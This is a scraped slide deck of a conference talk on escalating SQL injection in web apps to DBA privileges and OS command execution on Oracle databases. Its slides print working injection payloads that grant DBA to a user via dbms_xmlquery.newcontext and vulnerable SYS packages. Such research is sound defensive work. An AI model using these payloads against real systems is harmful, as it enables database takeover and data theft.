SlideShare une entreprise Scribd logo
1  sur  31
NEW AND IMPROVED:
HACKING ORACLE FROM WEB


Sumit “sid” Siddharth
7Safe Limited
UK
About 7Safe

 Part of PA Consulting Group
 Security Services
   Penetration testing
   PCI-DSS
   Forensics
   Training
   E-discovery
About Me

 Head of Penetration Testing@7Safe
 Specialising in Application and Database
  Security
 Speaker at Black Hat, DEFCON, OWASP
  Appsec etc
 Not an Oracle Geek
 Blog: www.notsosecure.com
 Twitter: notsosecure
Prelude

 There are a number of talks on hacking oracle
 Mostly it comes down to exploiting a
  vulnerable package which comes with Oracle
 What about web?
     How do we exploit a web app which has a SQL
      Injection and is communicating with an Oracle back-
      end database?
     By exploitation I don’t mean data extraction, I mean
      OS code execution (aka xp_cmdshell)
Credit to..

 The talk presents the work of a number of
  Oracle security researchers in the context of
  web application security.
 Specially David Litchfield and Esteban
 Other researchers we would like to thank:
   Alexander Kornbrust
   FerruhMavituna
Oracle Privileges- 101

 Oracle database installation comes with a
  number of default packages, procedures,
  functions etc.
 By default these procedures/functions run
  with the privilege of definer
 To change the execution privileges from
  definer to invoker keyword AUTHID
  CURRENT_USER must be defined
Hacking Oracle from Network

 If there is a SQL Injection in a procedure
  owned by SYS and PUBLIC has execute
  privileges, then its “game over”…
Owning Oracle over network

 Enumerate SID
 Enumerate users
 Connect to Oracle
 Exploit SQL injection in a procedure owned
  by SYS
 Become DBA
 Execute OS Code

Metasploit is your friend…
Owning Oracle from
network....
 E.g.
 exec SYS.LT.MERGEWORKSPACE(‘foobar''
  and SCOTT.DBA()=''Y');
 The function SCOTT. DBA() will be executed
  by SYS as it is called by the procedure
 SCOTT.DBA() has AUTHID CURRENT_USER
  defined
Hacking Oracle from Web- 101

 What happens when you find a SQL Injection
  in a web app which talks to Oracle database?
 Of-course SQL Injection is bad (remember
  SONY!)
 But how bad is it?
   Can we pwn oralce in the same way as we do over
    the network
   Can we escalate our privs and become DBA
   Can we execute OS code
SQL In Oracle

 SQL is a limited language that allows you to
  directly interact with the database.
 You can write queries (SELECT), manipulate
  data and objects (DDL, DML) with SQL.
  However, SQL doesn't include all the things
  that normal programming languages have,
  such as loops and IF...THEN...ELSE
  statements.
 Most importantly, SQL does not support
  execution of multiple statements.
SQL In Oracle....

 SQL in Oracle does not support execution of
  multiple statements.
 OS code execution is not as simple as
  executing xp_cmdshell in MSSQL.
 Not enough documentation on which exploits
  can be used from web applications.
 Not many publicly available tools for
  exploiting Oracle SQL Injections.
Hacking Oracle from web:
Part 1
 Last year I released a paper which talks about
  different attack vectors which can be used in
  different scenarios
 Lets have a quick look at some of this
Executing multiple
statements in SQL
 Only option is to find functions which lets us
  do this:
 Select * from tbl where id =‘1’ and (select
  scott.func(‘begin statement 1;statement 2
  ;end;’) from dual)= ‘a’--’
 The function can execute an anonymous
  PL/SQL block either as a feature or as a bug.
 Thank fully Oracle has some default functions
  which let’s you do this...
DBA Privileges

 Function:
  SYS.KUPP$PROC.CREATE_MASTER_PRO
  CESS()
 Function executes arbitrary PL/SQL
 Only DBA can call this function
 Executes any PL/SQL statement.
   Call DBMS_scheduler to run OS code
With DBA Privileges
JAVA IO Privileges

 Functions:
   DBMS_JAVA.RUNJAVA()
     11g R1 and R2
   DBMS_JAVA_TEST.FUNCALL()
     10g R2, 11g R1 and R2
 Java class allowing OS code execution by
  default
  –oracle/aurora/util/Wrapper
JAVA IO Privileges
DEMO: OS Code Execution with
JAVA IO Permissions
So, what’s new

 If you have either DBA role or JAVA IO privs
  then its pretty much game over
 What if you don’t have these?
 Can we not exploit vulnerable packages and
  become DBA anyways just as we would do
  while hacking oracle from n/w
2 functions which change
everything..
 dbms_xmlquery.newcontext()
 dbms_xmlquery.getxml()
   These 2 functions are available from Oracle 9i to
    11g R2
   Functions are executable by PUBLIC
   AUTHID CURRENT_USER
   Allow execution of PL/SQL Statement
So, what can you do with
these
 Although these functions are marked
  AUTHID CURRENT_USER you can still do
  stuff like:
 Exploit any vulnerable database object and
  escalate permissions
Example

 Consider a SQL Injection in an un-patched
    Oracle database
   The app connects to database with a user
    which has minimum privileges
   The database has missing CPU (nothing
    unusual)
   Exploit the vulnerability patched by CPU
   Become dba, execute code, pwn stuff.....
dbms_xmlquery.newcontext
select dbms_xmlquery.newcontext('declare PRAGMA
   AUTONOMOUS_TRANSACTION; begin execute immediate ''any
   pl/sql statement ''; commit; end;') from dual


http://vuln/index.php?id=1 and
  (select dbms_xmlquery.newcontext(‘
  declare PRAGMA AUTONOMOUS_TRANSACTION;
  begin execute immediate ''create or replace function
  pwn return varchar2 authid current_user is PRAGMA
  autonomous_transaction;BEGIN execute immediate
  ''''grant dba to scott'''';commit;return ''''z'''';END; '';
  commit; end;‘) from dual) is not null --
Example#1 SYS.LT.
CREATEWORKSPACE (CPU April
2009)
 Exploit vulnerable procedure to become DBA
 http://vuln/index.php?id=1 and (select
  dbms_xmlquery.newcontext('declare PRAGMA
  AUTONOMOUS_TRANSACTION; begin execute
  immediate ''
  begin SYS.LT.CREATEWORKSPACE(''''A10''''''''
  and
  scott.pwn()=''''''''x'''');SYS.LT.REMOVEWORKSPA
  CE(''''A10'''''''' and scott.pwn()=''''''''x'''');end;'';
  commit; end;') from dual) is not null --
DEMO
Exploiting 11g R2

 Similarly we can now exploit any vulnerable
  package within 11g R2

 sys.dbms_cdc_publish.create_change_set
 CPU: October 2010, 10gR1, 10gR2, 11g R1 and
  11gR2
Exploiting 11g R2

 select dbms_xmlquery.newcontext('declare
  PRAGMA AUTONOMOUS_TRANSACTION;
  begin execute immediate '' begin
  sys.dbms_cdc_publish.create_change_set(''''
  a'''',''''a'''',''''a''''''''||scott.pwn2()||''''''''a'''',''''Y'''',s
  ysdate,sysdate);end;''; commit; end;') from
  dual
Indirect Privilege
Escalation
 Using these functions we can call indirect
  privilege escalation vectors from web apps
 Become DBA from
   Create ANY Trigger
   CREATE ANY Procedure
   CREATE ANY VIEW
   Etc.....
Summary

 You can use the 2 functions to exploit any
  vulnerability within the back-end database
  from web to become DBA.
 The vulnerability can be in
     custom code
     Code shipped with Oracle (missing CPU)
     0 day
     Indirect privilege escalation
 After you become DBA you can execute OS
  code.
Thank You

 Questions?
 Contact: Sid@pentest.7safe.com
 Twitter: notsosecure
 Blog: www.notsosecure.com

Contenu connexe

Tendances

AI&BigData Lab. Александр Конопко "Celos: оркестрирование и тестирование зада...
AI&BigData Lab. Александр Конопко "Celos: оркестрирование и тестирование зада...AI&BigData Lab. Александр Конопко "Celos: оркестрирование и тестирование зада...
AI&BigData Lab. Александр Конопко "Celos: оркестрирование и тестирование зада...GeeksLab Odessa
 
IPaste SDK v.1.0
IPaste SDK v.1.0IPaste SDK v.1.0
IPaste SDK v.1.0xrebyc
 
PowerUp - Automating Windows Privilege Escalation
PowerUp - Automating Windows Privilege EscalationPowerUp - Automating Windows Privilege Escalation
PowerUp - Automating Windows Privilege EscalationWill Schroeder
 
TROOPERS 20 - SQL Server Hacking Tips for Active Directory Environments
TROOPERS 20 - SQL Server Hacking Tips for Active Directory EnvironmentsTROOPERS 20 - SQL Server Hacking Tips for Active Directory Environments
TROOPERS 20 - SQL Server Hacking Tips for Active Directory EnvironmentsScott Sutherland
 
PowerUpSQL - 2018 Blackhat USA Arsenal Presentation
PowerUpSQL - 2018 Blackhat USA Arsenal PresentationPowerUpSQL - 2018 Blackhat USA Arsenal Presentation
PowerUpSQL - 2018 Blackhat USA Arsenal PresentationScott Sutherland
 
2018 Student360 - Beyond xp_cmdshell - Owning the Empire Through SQL Server
2018 Student360 - Beyond xp_cmdshell - Owning the Empire Through SQL Server2018 Student360 - Beyond xp_cmdshell - Owning the Empire Through SQL Server
2018 Student360 - Beyond xp_cmdshell - Owning the Empire Through SQL ServerScott Sutherland
 
We Are All Testers Now: The Testing Pyramid and Front-End Development
We Are All Testers Now: The Testing Pyramid and Front-End DevelopmentWe Are All Testers Now: The Testing Pyramid and Front-End Development
We Are All Testers Now: The Testing Pyramid and Front-End DevelopmentAll Things Open
 
sfdx continuous Integration with Jenkins on aws (Part I)
sfdx continuous Integration with Jenkins on aws (Part I)sfdx continuous Integration with Jenkins on aws (Part I)
sfdx continuous Integration with Jenkins on aws (Part I)Jérémy Vial
 
Secure360 - Beyond xp cmdshell - Owning the Empire through SQL Server
Secure360 - Beyond xp cmdshell - Owning the Empire through SQL ServerSecure360 - Beyond xp cmdshell - Owning the Empire through SQL Server
Secure360 - Beyond xp cmdshell - Owning the Empire through SQL ServerScott Sutherland
 
Beyond XP_CMDSHELL: Owning the Empire Through SQL Server
Beyond XP_CMDSHELL: Owning the Empire Through SQL ServerBeyond XP_CMDSHELL: Owning the Empire Through SQL Server
Beyond XP_CMDSHELL: Owning the Empire Through SQL ServerNetSPI
 
Serial Killer - Silently Pwning your Java Endpoints // OWASP BeNeLux Day 2016
Serial Killer - Silently Pwning your Java Endpoints // OWASP BeNeLux Day 2016Serial Killer - Silently Pwning your Java Endpoints // OWASP BeNeLux Day 2016
Serial Killer - Silently Pwning your Java Endpoints // OWASP BeNeLux Day 2016Christian Schneider
 
[DefCon 2016] I got 99 Problems, but 
Little Snitch ain’t one!
[DefCon 2016] I got 99 Problems, but 
Little Snitch ain’t one![DefCon 2016] I got 99 Problems, but 
Little Snitch ain’t one!
[DefCon 2016] I got 99 Problems, but 
Little Snitch ain’t one!Synack
 
SQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developersSQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developersKrzysztof Kotowicz
 
2019 Blackhat Booth Presentation - PowerUpSQL
2019 Blackhat Booth Presentation - PowerUpSQL2019 Blackhat Booth Presentation - PowerUpSQL
2019 Blackhat Booth Presentation - PowerUpSQLScott Sutherland
 
sfdx continuous Integration with Jenkins on aws (Part II)
sfdx continuous Integration with Jenkins on aws (Part II)sfdx continuous Integration with Jenkins on aws (Part II)
sfdx continuous Integration with Jenkins on aws (Part II)Jérémy Vial
 

Tendances (18)

Zen of Akka
Zen of AkkaZen of Akka
Zen of Akka
 
AI&BigData Lab. Александр Конопко "Celos: оркестрирование и тестирование зада...
AI&BigData Lab. Александр Конопко "Celos: оркестрирование и тестирование зада...AI&BigData Lab. Александр Конопко "Celos: оркестрирование и тестирование зада...
AI&BigData Lab. Александр Конопко "Celos: оркестрирование и тестирование зада...
 
IPaste SDK v.1.0
IPaste SDK v.1.0IPaste SDK v.1.0
IPaste SDK v.1.0
 
PowerUp - Automating Windows Privilege Escalation
PowerUp - Automating Windows Privilege EscalationPowerUp - Automating Windows Privilege Escalation
PowerUp - Automating Windows Privilege Escalation
 
Hacking oracle using metasploit
Hacking oracle using metasploitHacking oracle using metasploit
Hacking oracle using metasploit
 
TROOPERS 20 - SQL Server Hacking Tips for Active Directory Environments
TROOPERS 20 - SQL Server Hacking Tips for Active Directory EnvironmentsTROOPERS 20 - SQL Server Hacking Tips for Active Directory Environments
TROOPERS 20 - SQL Server Hacking Tips for Active Directory Environments
 
PowerUpSQL - 2018 Blackhat USA Arsenal Presentation
PowerUpSQL - 2018 Blackhat USA Arsenal PresentationPowerUpSQL - 2018 Blackhat USA Arsenal Presentation
PowerUpSQL - 2018 Blackhat USA Arsenal Presentation
 
2018 Student360 - Beyond xp_cmdshell - Owning the Empire Through SQL Server
2018 Student360 - Beyond xp_cmdshell - Owning the Empire Through SQL Server2018 Student360 - Beyond xp_cmdshell - Owning the Empire Through SQL Server
2018 Student360 - Beyond xp_cmdshell - Owning the Empire Through SQL Server
 
Play in practice
Play in practicePlay in practice
Play in practice
 
We Are All Testers Now: The Testing Pyramid and Front-End Development
We Are All Testers Now: The Testing Pyramid and Front-End DevelopmentWe Are All Testers Now: The Testing Pyramid and Front-End Development
We Are All Testers Now: The Testing Pyramid and Front-End Development
 
sfdx continuous Integration with Jenkins on aws (Part I)
sfdx continuous Integration with Jenkins on aws (Part I)sfdx continuous Integration with Jenkins on aws (Part I)
sfdx continuous Integration with Jenkins on aws (Part I)
 
Secure360 - Beyond xp cmdshell - Owning the Empire through SQL Server
Secure360 - Beyond xp cmdshell - Owning the Empire through SQL ServerSecure360 - Beyond xp cmdshell - Owning the Empire through SQL Server
Secure360 - Beyond xp cmdshell - Owning the Empire through SQL Server
 
Beyond XP_CMDSHELL: Owning the Empire Through SQL Server
Beyond XP_CMDSHELL: Owning the Empire Through SQL ServerBeyond XP_CMDSHELL: Owning the Empire Through SQL Server
Beyond XP_CMDSHELL: Owning the Empire Through SQL Server
 
Serial Killer - Silently Pwning your Java Endpoints // OWASP BeNeLux Day 2016
Serial Killer - Silently Pwning your Java Endpoints // OWASP BeNeLux Day 2016Serial Killer - Silently Pwning your Java Endpoints // OWASP BeNeLux Day 2016
Serial Killer - Silently Pwning your Java Endpoints // OWASP BeNeLux Day 2016
 
[DefCon 2016] I got 99 Problems, but 
Little Snitch ain’t one!
[DefCon 2016] I got 99 Problems, but 
Little Snitch ain’t one![DefCon 2016] I got 99 Problems, but 
Little Snitch ain’t one!
[DefCon 2016] I got 99 Problems, but 
Little Snitch ain’t one!
 
SQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developersSQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developers
 
2019 Blackhat Booth Presentation - PowerUpSQL
2019 Blackhat Booth Presentation - PowerUpSQL2019 Blackhat Booth Presentation - PowerUpSQL
2019 Blackhat Booth Presentation - PowerUpSQL
 
sfdx continuous Integration with Jenkins on aws (Part II)
sfdx continuous Integration with Jenkins on aws (Part II)sfdx continuous Integration with Jenkins on aws (Part II)
sfdx continuous Integration with Jenkins on aws (Part II)
 

En vedette

Total Stress Management Guide For Nurses Dr Shriniwas Kashalikar
Total Stress Management Guide For Nurses Dr Shriniwas KashalikarTotal Stress Management Guide For Nurses Dr Shriniwas Kashalikar
Total Stress Management Guide For Nurses Dr Shriniwas Kashalikarshivsr5
 
Spaans a2 ln 22 09-2014
Spaans a2 ln 22 09-2014Spaans a2 ln 22 09-2014
Spaans a2 ln 22 09-2014SpaanIt
 
Perniola parte 1 de 5 estetica de la vida
Perniola parte 1 de 5 estetica de la vidaPerniola parte 1 de 5 estetica de la vida
Perniola parte 1 de 5 estetica de la vidamanual comic
 
Ita b1 18 3-2013
Ita b1 18 3-2013Ita b1 18 3-2013
Ita b1 18 3-2013SpaanIt
 
Hay que ponerle un poco de humor a la vida
Hay que ponerle un poco de humor a la vidaHay que ponerle un poco de humor a la vida
Hay que ponerle un poco de humor a la vidaliandola
 
Spiritualism Materialism And Namasmaran Dr. Shriniwas J. Kashalikar
Spiritualism Materialism And Namasmaran  Dr. Shriniwas J.  KashalikarSpiritualism Materialism And Namasmaran  Dr. Shriniwas J.  Kashalikar
Spiritualism Materialism And Namasmaran Dr. Shriniwas J. Kashalikarshivsr5
 
Public exploit held private – penetration testing the researcher’s way tama...
Public exploit held private – penetration testing the researcher’s way   tama...Public exploit held private – penetration testing the researcher’s way   tama...
Public exploit held private – penetration testing the researcher’s way tama...owaspindia
 
The Core Of Sex Dr Shriniwas Kashalikar
The Core Of Sex Dr Shriniwas KashalikarThe Core Of Sex Dr Shriniwas Kashalikar
The Core Of Sex Dr Shriniwas Kashalikarshivsr5
 
Problemas de lógica I
Problemas de lógica IProblemas de lógica I
Problemas de lógica Iamendez1987
 
the Presentation of school Braslovce
 the Presentation of school Braslovce the Presentation of school Braslovce
the Presentation of school BraslovceTamara Jeraj
 
Fanzine no.6 taller 7 enpeg 2015 ana bell chino edición
Fanzine no.6 taller 7 enpeg 2015 ana bell chino ediciónFanzine no.6 taller 7 enpeg 2015 ana bell chino edición
Fanzine no.6 taller 7 enpeg 2015 ana bell chino ediciónmanual comic
 
Ita a2 ms 07 10-15
Ita a2 ms 07 10-15Ita a2 ms 07 10-15
Ita a2 ms 07 10-15SpaanIt
 
Inventos curiosos
Inventos curiososInventos curiosos
Inventos curiososliandola
 
Garage4Hackers Ranchoddas Webcast Series - Bypassing Modern WAF's Exemplified...
Garage4Hackers Ranchoddas Webcast Series - Bypassing Modern WAF's Exemplified...Garage4Hackers Ranchoddas Webcast Series - Bypassing Modern WAF's Exemplified...
Garage4Hackers Ranchoddas Webcast Series - Bypassing Modern WAF's Exemplified...Garage4hackers.com
 
Prevenir y manejar el Bullying
Prevenir y manejar el BullyingPrevenir y manejar el Bullying
Prevenir y manejar el BullyingJhon Becerra
 
Pwning Iot via Hardware Attacks - Chase Schultz - IoT Village - Defcon 23
Pwning Iot via Hardware Attacks - Chase Schultz - IoT Village - Defcon 23Pwning Iot via Hardware Attacks - Chase Schultz - IoT Village - Defcon 23
Pwning Iot via Hardware Attacks - Chase Schultz - IoT Village - Defcon 23Chase Schultz
 

En vedette (20)

Total Stress Management Guide For Nurses Dr Shriniwas Kashalikar
Total Stress Management Guide For Nurses Dr Shriniwas KashalikarTotal Stress Management Guide For Nurses Dr Shriniwas Kashalikar
Total Stress Management Guide For Nurses Dr Shriniwas Kashalikar
 
Xullo
XulloXullo
Xullo
 
Spaans a2 ln 22 09-2014
Spaans a2 ln 22 09-2014Spaans a2 ln 22 09-2014
Spaans a2 ln 22 09-2014
 
Perniola parte 1 de 5 estetica de la vida
Perniola parte 1 de 5 estetica de la vidaPerniola parte 1 de 5 estetica de la vida
Perniola parte 1 de 5 estetica de la vida
 
Ita b1 18 3-2013
Ita b1 18 3-2013Ita b1 18 3-2013
Ita b1 18 3-2013
 
Hay que ponerle un poco de humor a la vida
Hay que ponerle un poco de humor a la vidaHay que ponerle un poco de humor a la vida
Hay que ponerle un poco de humor a la vida
 
Spiritualism Materialism And Namasmaran Dr. Shriniwas J. Kashalikar
Spiritualism Materialism And Namasmaran  Dr. Shriniwas J.  KashalikarSpiritualism Materialism And Namasmaran  Dr. Shriniwas J.  Kashalikar
Spiritualism Materialism And Namasmaran Dr. Shriniwas J. Kashalikar
 
Public exploit held private – penetration testing the researcher’s way tama...
Public exploit held private – penetration testing the researcher’s way   tama...Public exploit held private – penetration testing the researcher’s way   tama...
Public exploit held private – penetration testing the researcher’s way tama...
 
The Core Of Sex Dr Shriniwas Kashalikar
The Core Of Sex Dr Shriniwas KashalikarThe Core Of Sex Dr Shriniwas Kashalikar
The Core Of Sex Dr Shriniwas Kashalikar
 
Problemas de lógica I
Problemas de lógica IProblemas de lógica I
Problemas de lógica I
 
the Presentation of school Braslovce
 the Presentation of school Braslovce the Presentation of school Braslovce
the Presentation of school Braslovce
 
WUD 2009 - Użyteczna magia Google Analytics
WUD 2009 - Użyteczna magia Google AnalyticsWUD 2009 - Użyteczna magia Google Analytics
WUD 2009 - Użyteczna magia Google Analytics
 
Fanzine no.6 taller 7 enpeg 2015 ana bell chino edición
Fanzine no.6 taller 7 enpeg 2015 ana bell chino ediciónFanzine no.6 taller 7 enpeg 2015 ana bell chino edición
Fanzine no.6 taller 7 enpeg 2015 ana bell chino edición
 
Ita a2 ms 07 10-15
Ita a2 ms 07 10-15Ita a2 ms 07 10-15
Ita a2 ms 07 10-15
 
Inventos curiosos
Inventos curiososInventos curiosos
Inventos curiosos
 
Garage4Hackers Ranchoddas Webcast Series - Bypassing Modern WAF's Exemplified...
Garage4Hackers Ranchoddas Webcast Series - Bypassing Modern WAF's Exemplified...Garage4Hackers Ranchoddas Webcast Series - Bypassing Modern WAF's Exemplified...
Garage4Hackers Ranchoddas Webcast Series - Bypassing Modern WAF's Exemplified...
 
Prevenir y manejar el Bullying
Prevenir y manejar el BullyingPrevenir y manejar el Bullying
Prevenir y manejar el Bullying
 
Identity & Access Management by K. K. Mookhey
Identity & Access Management by K. K. MookheyIdentity & Access Management by K. K. Mookhey
Identity & Access Management by K. K. Mookhey
 
Pwning Iot via Hardware Attacks - Chase Schultz - IoT Village - Defcon 23
Pwning Iot via Hardware Attacks - Chase Schultz - IoT Village - Defcon 23Pwning Iot via Hardware Attacks - Chase Schultz - IoT Village - Defcon 23
Pwning Iot via Hardware Attacks - Chase Schultz - IoT Village - Defcon 23
 
Eca 12 logica
Eca 12   logicaEca 12   logica
Eca 12 logica
 

Similaire à New and improved hacking oracle from web apps sumit sidharth

Defcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_wormDefcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_wormguest785f78
 
Joxean Koret - Database Security Paradise [Rooted CON 2011]
Joxean Koret - Database Security Paradise [Rooted CON 2011]Joxean Koret - Database Security Paradise [Rooted CON 2011]
Joxean Koret - Database Security Paradise [Rooted CON 2011]RootedCON
 
One Click Provisioning With Enterprise Manager 12c
One Click Provisioning With Enterprise Manager 12cOne Click Provisioning With Enterprise Manager 12c
One Click Provisioning With Enterprise Manager 12cJosh Turner
 
SQLCLR For DBAs and Developers
SQLCLR For DBAs and DevelopersSQLCLR For DBAs and Developers
SQLCLR For DBAs and Developerswebhostingguy
 
Dr. Jekyll and Mr. Hyde
Dr. Jekyll and Mr. HydeDr. Jekyll and Mr. Hyde
Dr. Jekyll and Mr. Hydewebhostingguy
 
Hack your db before the hackers do
Hack your db before the hackers doHack your db before the hackers do
Hack your db before the hackers dofangjiafu
 
Cursor injection
Cursor injectionCursor injection
Cursor injectionfangjiafu
 
SAP strikes back Your SAP server now counter attacks.
SAP strikes back Your SAP server now counter attacks.SAP strikes back Your SAP server now counter attacks.
SAP strikes back Your SAP server now counter attacks.Dmitry Iudin
 
Exploit ie using scriptable active x controls version English
Exploit ie using scriptable active x controls version EnglishExploit ie using scriptable active x controls version English
Exploit ie using scriptable active x controls version Englishchen yuki
 
A MySQL Odyssey - A Blackhole Crossover
A MySQL Odyssey - A Blackhole CrossoverA MySQL Odyssey - A Blackhole Crossover
A MySQL Odyssey - A Blackhole CrossoverKeith Hollman
 
Fine line between performance and security
Fine line between performance and securityFine line between performance and security
Fine line between performance and securityAlmudena Vivanco
 
The Future of Web Attacks - CONFidence 2010
The Future of Web Attacks - CONFidence 2010The Future of Web Attacks - CONFidence 2010
The Future of Web Attacks - CONFidence 2010Mario Heiderich
 
Understanding Framework Architecture using Eclipse
Understanding Framework Architecture using EclipseUnderstanding Framework Architecture using Eclipse
Understanding Framework Architecture using Eclipseanshunjain
 
create-netflix-clone-02-server_transcript.pdf
create-netflix-clone-02-server_transcript.pdfcreate-netflix-clone-02-server_transcript.pdf
create-netflix-clone-02-server_transcript.pdfShaiAlmog1
 
JavaFX Enterprise (JavaOne 2014)
JavaFX Enterprise (JavaOne 2014)JavaFX Enterprise (JavaOne 2014)
JavaFX Enterprise (JavaOne 2014)Hendrik Ebbers
 
SQL Server Security - Attack
SQL Server Security - Attack SQL Server Security - Attack
SQL Server Security - Attack webhostingguy
 

Similaire à New and improved hacking oracle from web apps sumit sidharth (20)

Defcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_wormDefcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
 
Joxean Koret - Database Security Paradise [Rooted CON 2011]
Joxean Koret - Database Security Paradise [Rooted CON 2011]Joxean Koret - Database Security Paradise [Rooted CON 2011]
Joxean Koret - Database Security Paradise [Rooted CON 2011]
 
One Click Provisioning With Enterprise Manager 12c
One Click Provisioning With Enterprise Manager 12cOne Click Provisioning With Enterprise Manager 12c
One Click Provisioning With Enterprise Manager 12c
 
SQLCLR For DBAs and Developers
SQLCLR For DBAs and DevelopersSQLCLR For DBAs and Developers
SQLCLR For DBAs and Developers
 
Dr. Jekyll and Mr. Hyde
Dr. Jekyll and Mr. HydeDr. Jekyll and Mr. Hyde
Dr. Jekyll and Mr. Hyde
 
Hack your db before the hackers do
Hack your db before the hackers doHack your db before the hackers do
Hack your db before the hackers do
 
SQL Injection - Newsletter
SQL Injection - NewsletterSQL Injection - Newsletter
SQL Injection - Newsletter
 
Cursor injection
Cursor injectionCursor injection
Cursor injection
 
SAP strikes back Your SAP server now counter attacks.
SAP strikes back Your SAP server now counter attacks.SAP strikes back Your SAP server now counter attacks.
SAP strikes back Your SAP server now counter attacks.
 
Os Owens
Os OwensOs Owens
Os Owens
 
Play framework
Play frameworkPlay framework
Play framework
 
Exploit ie using scriptable active x controls version English
Exploit ie using scriptable active x controls version EnglishExploit ie using scriptable active x controls version English
Exploit ie using scriptable active x controls version English
 
A MySQL Odyssey - A Blackhole Crossover
A MySQL Odyssey - A Blackhole CrossoverA MySQL Odyssey - A Blackhole Crossover
A MySQL Odyssey - A Blackhole Crossover
 
Fine line between performance and security
Fine line between performance and securityFine line between performance and security
Fine line between performance and security
 
The Future of Web Attacks - CONFidence 2010
The Future of Web Attacks - CONFidence 2010The Future of Web Attacks - CONFidence 2010
The Future of Web Attacks - CONFidence 2010
 
13 java in oracle
13 java in oracle13 java in oracle
13 java in oracle
 
Understanding Framework Architecture using Eclipse
Understanding Framework Architecture using EclipseUnderstanding Framework Architecture using Eclipse
Understanding Framework Architecture using Eclipse
 
create-netflix-clone-02-server_transcript.pdf
create-netflix-clone-02-server_transcript.pdfcreate-netflix-clone-02-server_transcript.pdf
create-netflix-clone-02-server_transcript.pdf
 
JavaFX Enterprise (JavaOne 2014)
JavaFX Enterprise (JavaOne 2014)JavaFX Enterprise (JavaOne 2014)
JavaFX Enterprise (JavaOne 2014)
 
SQL Server Security - Attack
SQL Server Security - Attack SQL Server Security - Attack
SQL Server Security - Attack
 

Plus de owaspindia

Real time evaluation of national network exposure to emerging threats - fyodo...
Real time evaluation of national network exposure to emerging threats - fyodo...Real time evaluation of national network exposure to emerging threats - fyodo...
Real time evaluation of national network exposure to emerging threats - fyodo...owaspindia
 
Mobile application security – effective methodology, efficient testing! hem...
Mobile application security – effective methodology, efficient testing!   hem...Mobile application security – effective methodology, efficient testing!   hem...
Mobile application security – effective methodology, efficient testing! hem...owaspindia
 
International approaches to critical information infrastructure protection ...
International approaches to critical information infrastructure protection   ...International approaches to critical information infrastructure protection   ...
International approaches to critical information infrastructure protection ...owaspindia
 
Getting the end point security right! - k. k. mookhey
Getting the end point security right! - k. k. mookheyGetting the end point security right! - k. k. mookhey
Getting the end point security right! - k. k. mookheyowaspindia
 
From app sec to malsec malware hooked, criminal crooked alok gupta
From app sec to malsec malware hooked, criminal crooked   alok guptaFrom app sec to malsec malware hooked, criminal crooked   alok gupta
From app sec to malsec malware hooked, criminal crooked alok guptaowaspindia
 
Find me if you can – smart fuzzing and discovery! shreeraj shah
Find me if you can – smart fuzzing and discovery!   shreeraj shahFind me if you can – smart fuzzing and discovery!   shreeraj shah
Find me if you can – smart fuzzing and discovery! shreeraj shahowaspindia
 
The magic of passive web vulnerability analysis lava kumar
The magic of passive web vulnerability analysis   lava kumarThe magic of passive web vulnerability analysis   lava kumar
The magic of passive web vulnerability analysis lava kumarowaspindia
 

Plus de owaspindia (7)

Real time evaluation of national network exposure to emerging threats - fyodo...
Real time evaluation of national network exposure to emerging threats - fyodo...Real time evaluation of national network exposure to emerging threats - fyodo...
Real time evaluation of national network exposure to emerging threats - fyodo...
 
Mobile application security – effective methodology, efficient testing! hem...
Mobile application security – effective methodology, efficient testing!   hem...Mobile application security – effective methodology, efficient testing!   hem...
Mobile application security – effective methodology, efficient testing! hem...
 
International approaches to critical information infrastructure protection ...
International approaches to critical information infrastructure protection   ...International approaches to critical information infrastructure protection   ...
International approaches to critical information infrastructure protection ...
 
Getting the end point security right! - k. k. mookhey
Getting the end point security right! - k. k. mookheyGetting the end point security right! - k. k. mookhey
Getting the end point security right! - k. k. mookhey
 
From app sec to malsec malware hooked, criminal crooked alok gupta
From app sec to malsec malware hooked, criminal crooked   alok guptaFrom app sec to malsec malware hooked, criminal crooked   alok gupta
From app sec to malsec malware hooked, criminal crooked alok gupta
 
Find me if you can – smart fuzzing and discovery! shreeraj shah
Find me if you can – smart fuzzing and discovery!   shreeraj shahFind me if you can – smart fuzzing and discovery!   shreeraj shah
Find me if you can – smart fuzzing and discovery! shreeraj shah
 
The magic of passive web vulnerability analysis lava kumar
The magic of passive web vulnerability analysis   lava kumarThe magic of passive web vulnerability analysis   lava kumar
The magic of passive web vulnerability analysis lava kumar
 

Dernier

Maximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxMaximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxOnBoard
 
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...Neo4j
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationSafe Software
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonetsnaman860154
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsEnterprise Knowledge
 
Azure Monitor & Application Insight to monitor Infrastructure & Application
Azure Monitor & Application Insight to monitor Infrastructure & ApplicationAzure Monitor & Application Insight to monitor Infrastructure & Application
Azure Monitor & Application Insight to monitor Infrastructure & ApplicationAndikSusilo4
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
